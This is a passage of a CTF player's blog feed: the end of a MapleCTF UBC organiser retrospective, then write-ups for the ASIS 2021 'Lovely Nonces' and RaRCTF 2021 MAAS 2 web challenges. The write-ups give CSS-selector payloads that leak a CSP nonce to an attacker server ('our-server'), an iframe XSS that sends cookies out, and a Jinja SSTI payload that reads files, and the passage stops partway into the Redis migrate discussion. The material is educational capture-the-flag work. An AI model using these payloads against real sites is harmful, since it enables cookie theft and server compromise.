<p>Our vms were split up by category: rev/pwn, web, crypto. We decided to categorize the vms this way since it made the most sense to us, and allowed us to scale the vms depending on the needs of the category. Web, for example, were simplistic in nature and didn&rsquo;t really need a hefty amount of compute for. This could change come the international version, but overall we allowed ourselves to be generous in this category but found that we didn&rsquo;t necessarily need to be.</p>
<h2 id="challenge-design">Challenge design</h2>
<p>Short writeups/solutions to my web problems can be found <a href="https://github.com/ubcctf/maple-ctf-ubc-2022/tree/master/web">here</a>.</p>
<h3 id="web-bacon">Web Bacon</h3>
<p>It was a bit hard to create a series of ramp-up challenges for web since the sorts of things you can do in this field were broad. I decided to at least create a few challenges which would logically follow after one another based on a specific exploit: XSS, and that seemed to be succesful. The largest issue I had with my challenges was a matter of understanding if certain challenges were actually easy or not - a specific problem that I envisioned, &ldquo;Poem Me&rdquo;, had far fewer solves than anticipated. While I had people test the challenges out before they made it into production, there was still an inherent bias that the QA had because they at least had seen a couple CTFs beforehand. They had a frame of reference - but how did my challenge look to those without one?</p>
<p>I made alot of design choices to try and simplify the web problems to a level where I felt people could hack at them, have fun, and gain something out of the experience. I knew that engineering difficulty was already a complex thing to do, and doing something like forcing a player to <em>guess</em> what the vulnerability was for a challenge was definitely not my intended strategy. In fact, I had hoped that guesswork would be kept to a minimum when it came to challenge-making.</p>
<p>I truly believe that in the real world, there is an amount of intuition and inference that you would need to make which may or may not completely follow from the trains of thought that a CTF would lead you down - in some cases, I feel it&rsquo;s inevitable. However, I didn&rsquo;t want to really teach people how to <em>guess</em> - I wanted to teach people how to correctly audit a security bug and showcase their skills in exploiting it. I felt as though that there were 2 different lessons one could teach and I wasn&rsquo;t all that concerned with teaching the former.</p>
<p>In some cases, I tried to make things obvious or nudge players towards the solution through certain things (comments in code, using really old versions of libraries, etc etc). However, I felt as though some of my mid-level challenges were not truly intermediate in percieved difficulty.</p>
<p>Valentina, for example, could be solved by looking at the library version of one of its packages, and formulating an exploit from there. But this was a novel approach for some, accounting for the low solves in the challenge.</p>
<p>Will this be an issue for the international version? I&rsquo;m not sure. I will have more freedom to exercise my creativity over the types of challenges I&rsquo;ll make - which could mean more difficult challenges, but perhaps the main issue with difficulty just came down to the scoring. Due to how we made scoring static as to simplify the meta of the CTF for newcomers, it meant I had to just hope that my guess at the score value was equally matched with the subjective difficulty of the challenge I made. I imagine that with dynamic scoring, much of the granularity involved with challenge difficulty will sort itself out.</p>
<h3 id="misc-bacon">Misc Bacon</h3>
<p>I created 3 jail challenges based on Python. Lesson here? Jails are hard to make - in the sense that the number of unintended solutions that could come up is <strong>astounding</strong>. The jails were the challenges that had multiple flavours of solutions to them, contributing to a higher than normal solve count, and skewing the score values. Pyjail 2, for example, was worth the same amount of points as Valentina 1, but Valentina had about 30% of the solve numbers in Pyjail 2.</p>
<p>Admittedly I was somewhat expecting a few unintended solutions but my mistake was in assuming that not many people would get creative - many people did, in fact, get <strong>very creative</strong> and found a bunch of different ways to bypass the blacklists in my jail problems. I&rsquo;m not upset at any one of them - in fact, the novel solutions I saw some people come up with were truly unique and incredible. This was, however, a point against me as I wasn&rsquo;t fully expecting the different solutions.</p>
<p>A few people did mention to me that they liked the pyjail problems, so I think next time I do a jail problem I&rsquo;ll score it lower (or dynamically).</p>
<h2 id="lessons-learned">Lessons Learned</h2>
<p>While I still believe that the justification for a static scoring system was valid, I also believe that dynamic scoring is far easier to deal with and helps to avoid situations where I overestimate and underestimate the difficulty of my challenges - both situations which happened in MapleCTF. While I managed to avoid the misjudgement for all my challenges (only 1 seemed to be easier than I thought, and a different 1 seemed harder than I thought), I&rsquo;d like to avoid any situations where the scores could be skewed based on point values of challenges completed. For that, I believe that dynamic scoring would be the way to go to remedy this.</p>
<p>Additionally, it helps to be more generous in the distribution of tasks. Early on I had adopted much of the responsibilities myself and while I won&rsquo;t deny the small part of me that likes the thrill of completing every task on her own, I also won&rsquo;t deny the tremendous overhead I experienced when I decided to put more on my plate than I could finish.</p>
<h3 id="stats">Stats</h3>
<p>Our score distribution was pretty much skewed to the left, as we somewhat expected:</p>

    <img src="/images/MapleUBC_ScoreDist.png"  alt="score distribution"  class="center"  style="border-radius: 8px;"  />


<p>Most people solved a few of the beginner challenges and decided to stop there.</p>
<p>When it came to the individual challenges:</p>

    <img src="/images/MapleUBC_SolvePercent.png"  alt="solve percentage"  class="center"  style="border-radius: 8px;"  />


<p>Our beginner challenges all had solve counts close together - our harder challenges only had 1-3 solves.</p>
<h2 id="wrapping-it-up">Wrapping it up</h2>
<p>MapleCTF UBC was a huge undertaking that I definitely couldn&rsquo;t have done without my team. It was a massively rewarding event which helped developed my own skills as both a CTF player and software engineer, and I hope to utilize these skills with the lessons learned to create a great international version that all can hack away and enjoy.</p>
]]></content>
        </item>
        
        <item>
            <title>ASIS Quals 2021: Lovely Nonce</title>
            <link>https://jamvie.net/posts/2021/10/asis-quals-2021-lovely-nonce/</link>
            <pubDate>Sun, 24 Oct 2021 13:49:21 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2021/10/asis-quals-2021-lovely-nonce/</guid>
            <description>Lovely Nonces is a challenge from ASIS Quals 2021, involving interesting CSP bypasses and stylesheet leaks. My teammate Ming and I solved this challenge together, and a copy of the writeup (with the index.html file used in the exploit) can be found in the UBC CTF blog.
TL;DR CSS attribute selectors for a stylesheet leak of the CSP nonce combined with XSS.
Recon The CSP is implemented via a meta-tag in the DOM, and not through response header as is usually the common practise.</description>
            <content type="html"><![CDATA[<p>Lovely Nonces is a challenge from ASIS Quals 2021, involving interesting CSP bypasses and stylesheet leaks. My teammate <a href="https://ubcctf.github.io/authors/ming/">Ming</a> and I solved this challenge together, and a copy of the writeup (with the index.html file used in the exploit) can be found in the <a href="https://ubcctf.github.io/2021/10/asisquals-2021-lovelynonces/">UBC CTF blog</a>.</p>
<h2 id="tldr">TL;DR</h2>
<p>CSS attribute selectors for a stylesheet leak of the CSP nonce combined with XSS.</p>
<h2 id="recon">Recon</h2>
<p>The CSP is implemented via a meta-tag in the DOM, and not through response header as is usually the common practise. It&rsquo;s just one directive, <code>script-src</code>, with the randomly generated nonce value, which we can try to retrieve.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-HTML" data-lang="HTML"><span style="display:flex;"><span>&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Content-Security-Policy&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;script-src &#39;nonce-$NONCE$&#39;&#34;</span>&gt;
</span></span></code></pre></div>
    <img src="/images/ASISnonceCSP.png"  alt="CSP"  class="center"  style="border-radius: 8px;"  />


<p>(Note: it is also possible to extract this nonce from the <code>script</code> tag on the same page)</p>
<p>The cookie is set to the localhost domain - which is important moving forward with our exploit (we won&rsquo;t be injecting our payloads on the lovelynonce domain, it&rsquo;ll be on localhost).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">await</span> <span style="color:#a6e22e">page</span>.<span style="color:#a6e22e">setCookie</span>({
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">name</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;flag&#39;</span>,
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">value</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">FLAG</span> <span style="color:#f92672">||</span> <span style="color:#e6db74">&#34;flag{fake-flag}&#34;</span>,
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">domain</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;localhost&#34;</span>,
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">expires</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">now</span>() <span style="color:#f92672">+</span> <span style="color:#ae81ff">1000</span>
</span></span><span style="display:flex;"><span>		})
</span></span></code></pre></div><p>On the HTML of the page is a location.hash navigator that sets an element in the HTML to the value of whatever <code>document.location.hash</code> was.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-HTML" data-lang="HTML"><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">nonce</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;$NONCE$&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    	document.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hash</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>    	window.<span style="color:#a6e22e">onhashchange</span> <span style="color:#f92672">=</span> ()=&gt;{
</span></span><span style="display:flex;"><span>    		<span style="color:#66d9ef">if</span>(document.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hash</span>) {
</span></span><span style="display:flex;"><span>          		<span style="color:#a6e22e">desc</span>.<span style="color:#a6e22e">innerHTML</span> <span style="color:#f92672">=</span> decodeURIComponent(document.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hash</span>.<span style="color:#a6e22e">slice</span>(<span style="color:#ae81ff">1</span>));
</span></span><span style="display:flex;"><span>				document.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hash</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>        	}
</span></span><span style="display:flex;"><span>    	};
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><p>Test this out by appending <code>#%3Cp%3Etest%3C%2Fp%3E</code> (just the URLencoded version of <code>#&lt;p&gt;test&lt;/p&gt;</code>) to the challenge webpage and see how this code snippet works. This is an easy XSS vector, but obviously the CSP isn&rsquo;t letting us do something so trivial as <code>#&lt;script&gt;alert(1337)&lt;/script&gt;</code>.</p>
<p>There&rsquo;s a report function that actually utilizes this browser-side JS to add a report form in the webpage.</p>
<h2 id="exploit-in-detail">Exploit in Detail</h2>
<p>The location hash is a potential XSS vector. You can copy-paste the webpage&rsquo;s nonce value into an iframe with the srcdoc attribute and achieve XSS.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-HTML" data-lang="HTML"><span style="display:flex;"><span>&lt;<span style="color:#f92672">iframe</span> <span style="color:#a6e22e">srcdoc</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&lt;script nonce=[THEIR_NONCE]&gt;alert(1)&lt;/script&gt;&#34;</span>&gt;&lt;/<span style="color:#f92672">iframe</span>&gt;
</span></span></code></pre></div><p>This works because iframes loaded with <code>srcdoc</code> aren&rsquo;t cross-origin. BUT, this also won&rsquo;t work for the challenge as the server generates unique nonces for each request, meaning that our nonce won&rsquo;t be the same nonce that the admin has when they load up our webpage with our iframe payload. The CSP is technically doing it&rsquo;s job, and even with the copy-pasted nonce and srcdoc iframe, this is just a self-XSS for now. Ideally, we want to find out the nonce of the webpage when the admin visits - and while they&rsquo;re still on the webpage, load up our iframe payload with the correct nonce.</p>
<p>Nonces implemented via the meta-tag, or nonces within the script-tag can be leaked through CSS attribute selectors. Setting the hash to:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-HTML" data-lang="HTML"><span style="display:flex;"><span>&lt;<span style="color:#f92672">style</span>&gt;<span style="color:#f92672">*</span>{<span style="color:#66d9ef">display</span>:<span style="color:#66d9ef">block</span>}<span style="color:#f92672">meta</span><span style="color:#f92672">[</span><span style="color:#f92672">content</span><span style="color:#f92672">^=</span><span style="color:#e6db74">&#34;script-src nonce-a&#34;</span><span style="color:#f92672">]</span>{<span style="color:#66d9ef">background-image</span>:url(<span style="color:#e6db74">&#34;http://our-server/result?nonce=a&#34;</span>);}&lt;/<span style="color:#f92672">style</span>&gt;
</span></span></code></pre></div><p>or</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-HTML" data-lang="HTML"><span style="display:flex;"><span>&lt;<span style="color:#f92672">style</span>&gt;<span style="color:#f92672">script</span><span style="color:#f92672">[</span><span style="color:#f92672">nonce</span><span style="color:#f92672">^=</span><span style="color:#e6db74">&#34;a&#34;</span><span style="color:#f92672">]</span>{<span style="color:#66d9ef">display</span>:<span style="color:#66d9ef">block</span>;<span style="color:#66d9ef">background</span>:url(<span style="color:#e6db74">&#34;http://our-server/result?nonce=a&#34;</span>);}&lt;/<span style="color:#f92672">style</span>&gt;
</span></span></code></pre></div><p>will send a request to our server in the event that any element with the right attribute stuck to it has a value starting with <code>script-src nonce-a</code>. We can extrapolate this further to brute-force each character in the attribute value and use fetches to our server to extract the correct &rsquo;next character&rsquo; of the nonce.</p>
<p>If the CSS attribute selector successfully finds a tag that matches the above conditions, then a request is fired to our server. Otherwise, no request is made to our server.</p>
<p>To change the hash, we have the admin open a window to the vulnerable page (localhost:8000), identified by a name (
<code>open(&quot;http://localhost:8000/&quot;, &quot;thisOneWindow&quot;)</code>), and after that, we can have the admin open a window with the same url, but with a different hash, and the same name (
<code>open(&quot;http://localhost:8000/#aaaaa&quot;, &quot;thisOneWindow&quot;)</code>). The browser has this page cached, and as a result, we will still be using the same page, just with a different location hash.</p>
<h2 id="the-exploit-flow">The Exploit Flow</h2>
<p>The attack flow is as follows:</p>
<ol>
<li>
<p>Admin visits our server, hosting an index.html that will load the challenge page.</p>
</li>
<li>
<p>Iterating through the alphanumeric charset, the injected style tag in the hash tests for each char if it is in the nonce - and if so, sends a request back to our server.</p>
</li>
<li>
<p>That request is processed by our Node backend, which pushes the correctly guessed character into an internal array.</p>
</li>
<li>
<p>The JS in index.html (the browser JS) sets a short timeout and then tries to retrieve the value in that internal array from the backend, updating the nonce value guessed so far and testing the next char in line.</p>
</li>
<li>
<p>This process repeats from step 2 until the entire nonce is leaked.</p>
</li>
<li>
<p>With the full nonce, we set the iframe payload with the correct, complete nonce value that dumps cookies back to our server.</p>
</li>
<li>
<p>Flag! <code>ASIS{nonces_disappointed_me_df393b}</code></p>
</li>
</ol>
<h2 id="relevant-sources">Relevant Sources</h2>
<ul>
<li><a href="http://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html">Bypass CSP nonces with DOM XSS</a>
<ul>
<li>Explains how to use CSS attribute selectors to get nonce.</li>
</ul>
</li>
<li><a href="https://medium.com/tsscyber/penetration-testing-window-opener-xss-vectors-part-2-7810ebfccc1d">Window Opener and XSS Vectors</a>
<ul>
<li>Explains how to exploit <code>location.hash</code>.</li>
</ul>
</li>
<li><code>Robert's brain</code>
<ul>
<li>Found a way to inject a script tag that executes immediately even after the page has loaded.</li>
</ul>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>RaRCTF 2021: MAAS 2 &#43; Unintended Solutions</title>
            <link>https://jamvie.net/posts/2021/08/rarctf-2021-maas-2--unintended-solutions/</link>
            <pubDate>Fri, 20 Aug 2021 13:49:21 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2021/08/rarctf-2021-maas-2--unintended-solutions/</guid>
            <description>MAAS 2 // Notes Source was the same from MAAS 1 (and will be the same for MAAS 3). MAAS 2 involved the &amp;rsquo;notes&amp;rsquo; part of MAAS, where you are prompted to register a user and afterwards add key:val attributes to yourself, give yourself a bio, or transfer key:value attributes to another user.
The provided source has some interesting code:
notes/app.py
@app.route(&amp;#39;/useraction&amp;#39;, methods=[&amp;#34;POST&amp;#34;]) def useraction(): mode = request.form.get(&amp;#34;mode&amp;#34;) username = request.</description>
            <content type="html"><![CDATA[<h2 id="maas-2--notes">MAAS 2 // Notes</h2>
<p>Source was the same from MAAS 1 (and will be the same for MAAS 3). MAAS 2 involved the &rsquo;notes&rsquo; part of MAAS, where you are prompted to register a user and afterwards add key:val attributes to yourself, give yourself a bio, or transfer key:value attributes to another user.</p>
<p>The provided source has some interesting code:</p>
<p><em>notes/app.py</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#a6e22e">@app</span><span style="color:#f92672">.</span>route(<span style="color:#e6db74">&#39;/useraction&#39;</span>, methods<span style="color:#f92672">=</span>[<span style="color:#e6db74">&#34;POST&#34;</span>])
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">useraction</span>():
</span></span><span style="display:flex;"><span>    mode <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;mode&#34;</span>)
</span></span><span style="display:flex;"><span>    username <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;username&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> mode <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;register&#34;</span>:
</span></span><span style="display:flex;"><span>        r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;http://redis_userdata:5000/adduser&#39;</span>)
</span></span><span style="display:flex;"><span>        port <span style="color:#f92672">=</span> int(r<span style="color:#f92672">.</span>text)
</span></span><span style="display:flex;"><span>        red <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_users&#34;</span>)
</span></span><span style="display:flex;"><span>        red<span style="color:#f92672">.</span>set(username, port)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> mode <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;adddata&#34;</span>:
</span></span><span style="display:flex;"><span>        red <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_users&#34;</span>)
</span></span><span style="display:flex;"><span>        port <span style="color:#f92672">=</span> red<span style="color:#f92672">.</span>get(username)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>        requests<span style="color:#f92672">.</span>post(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;http://redis_userdata:5000/putuser/</span><span style="color:#e6db74">{</span>port<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>, json<span style="color:#f92672">=</span>{
</span></span><span style="display:flex;"><span>            request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;key&#34;</span>): request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;value&#34;</span>)
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> mode <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;getdata&#34;</span>:
</span></span><span style="display:flex;"><span>        red <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_users&#34;</span>)
</span></span><span style="display:flex;"><span>        port <span style="color:#f92672">=</span> red<span style="color:#f92672">.</span>get(username)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>        r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;http://redis_userdata:5000/getuser/</span><span style="color:#e6db74">{</span>port<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> jsonify(r<span style="color:#f92672">.</span>json())
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> mode <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;bioadd&#34;</span>:
</span></span><span style="display:flex;"><span>        bio <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;bio&#34;</span>)
</span></span><span style="display:flex;"><span>        bio<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;.&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;_&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)<span style="color:#f92672">.</span>\
</span></span><span style="display:flex;"><span>            replace(<span style="color:#e6db74">&#34;{&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;}&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)<span style="color:#f92672">.</span>\
</span></span><span style="display:flex;"><span>            replace(<span style="color:#e6db74">&#34;(&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;)&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)<span style="color:#f92672">.</span>\
</span></span><span style="display:flex;"><span>            replace(<span style="color:#e6db74">&#34;|&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        bio <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>sub(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;\[\[([^\[\]]+)\]\]&#39;</span>, <span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;{{data[&#34;\g&lt;1&gt;&#34;]}}&#39;</span>, bio)
</span></span><span style="display:flex;"><span>        red <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_users&#34;</span>)
</span></span><span style="display:flex;"><span>        port <span style="color:#f92672">=</span> red<span style="color:#f92672">.</span>get(username)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>        requests<span style="color:#f92672">.</span>post(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;http://redis_userdata:5000/bio/</span><span style="color:#e6db74">{</span>port<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>, json<span style="color:#f92672">=</span>{
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;bio&#34;</span>: bio
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> mode <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;bioget&#34;</span>:
</span></span><span style="display:flex;"><span>        red <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_users&#34;</span>)
</span></span><span style="display:flex;"><span>        port <span style="color:#f92672">=</span> red<span style="color:#f92672">.</span>get(username)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>        r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;http://redis_userdata:5000/bio/</span><span style="color:#e6db74">{</span>port<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> r<span style="color:#f92672">.</span>text
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> mode <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;keytransfer&#34;</span>:
</span></span><span style="display:flex;"><span>        red <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_users&#34;</span>)
</span></span><span style="display:flex;"><span>        port <span style="color:#f92672">=</span> red<span style="color:#f92672">.</span>get(username)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>        red2 <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_userdata&#34;</span>,
</span></span><span style="display:flex;"><span>                           port<span style="color:#f92672">=</span>int(port))
</span></span><span style="display:flex;"><span>        red2<span style="color:#f92672">.</span>migrate(request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;host&#34;</span>),
</span></span><span style="display:flex;"><span>                     request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;port&#34;</span>),
</span></span><span style="display:flex;"><span>                     [request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;key&#34;</span>)],
</span></span><span style="display:flex;"><span>                     <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1000</span>,
</span></span><span style="display:flex;"><span>                     copy<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, replace<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app</span><span style="color:#f92672">.</span>route(<span style="color:#e6db74">&#34;/render&#34;</span>, methods<span style="color:#f92672">=</span>[<span style="color:#e6db74">&#34;POST&#34;</span>])
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">render_bio</span>():
</span></span><span style="display:flex;"><span>    data <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>json<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;data&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> data <span style="color:#f92672">is</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        data <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> render_template_string(request<span style="color:#f92672">.</span>json<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;bio&#39;</span>), data<span style="color:#f92672">=</span>data)
</span></span></code></pre></div><p>The relevant parts are when mode is equal to <code>bioadd</code>. There&rsquo;s a pretty hefty sanitizer in play that removes all relevant characters required for an SSTI. This is further supplemented by the endpoint to <code>/render</code>, which takes your input and passes it into <code>render_template_string</code>. TL;DR: <strong>S</strong>erver-<strong>S</strong>ide <strong>T</strong>emplate <strong>I</strong>njection involves injecting code into template expressions that are evaluated on the server. Essentially, if you have an app vulnerable to SSTI, then you should be able to inject any expression into {{double curly brackets}} and that expression would be evaluated.</p>
<p>But, this is a sanitizer function, and it does specifically remove the <code>{}</code> characters, so we would be out of luck for SSTI. Out of sanity, I double checked that {{template expressions}} were disallowed and tried a basic SSTI payload such as {{7*7}}.</p>

    <img src="/images/rarctf_maas2ssti.png"  alt="satisfies all checks"  class="center"  style="border-radius: 8px;"  />


<p>Oh, wait a second. <em>The sanitization filter isn&rsquo;t actually applied to our input!</em> We get a quick and easy SSTI vulnerability.</p>
<p>We can modify our payload from the previous MAAS 1 to better suit a template expression:</p>
<pre tabindex="0"><code>{{request.application.__globals__.__builtins__.open(&#39;../flag.txt&#39;,&#39;r&#39;).read(-1)}}
</code></pre><p>Update your bio as this and the flag will be loaded for you!</p>

    <img src="/images/rarctf_maas2flag.png"  alt="satisfies all checks"  class="center"  style="border-radius: 8px;"  />


<p>While this is the unintended solution, the intended one did involve throwing an SSTI payload over &ldquo;behind&rdquo; the filtering by manipulating the redis container that would contain the user objects.</p>
<p>If the filter was actually applied, you would be forced to instead leverage the application&rsquo;s key transfer feature to force a key-transfer connection to a Redis container at port 6379 - which is the defualt port of the Redis server.</p>
<p>The code for the keytransfer actually calls the Redis command &ldquo;migrate&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> mode <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;keytransfer&#34;</span>:
</span></span><span style="display:flex;"><span>        red <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_users&#34;</span>)
</span></span><span style="display:flex;"><span>        port <span style="color:#f92672">=</span> red<span style="color:#f92672">.</span>get(username)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>        red2 <span style="color:#f92672">=</span> redis<span style="color:#f92672">.</span>Redis(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;redis_userdata&#34;</span>,
</span></span><span style="display:flex;"><span>                           port<span style="color:#f92672">=</span>int(port))
</span></span><span style="display:flex;"><span>        red2<span style="color:#f92672">.</span>migrate(request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;host&#34;</span>),
</span></span><span style="display:flex;"><span>                     request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;port&#34;</span>),
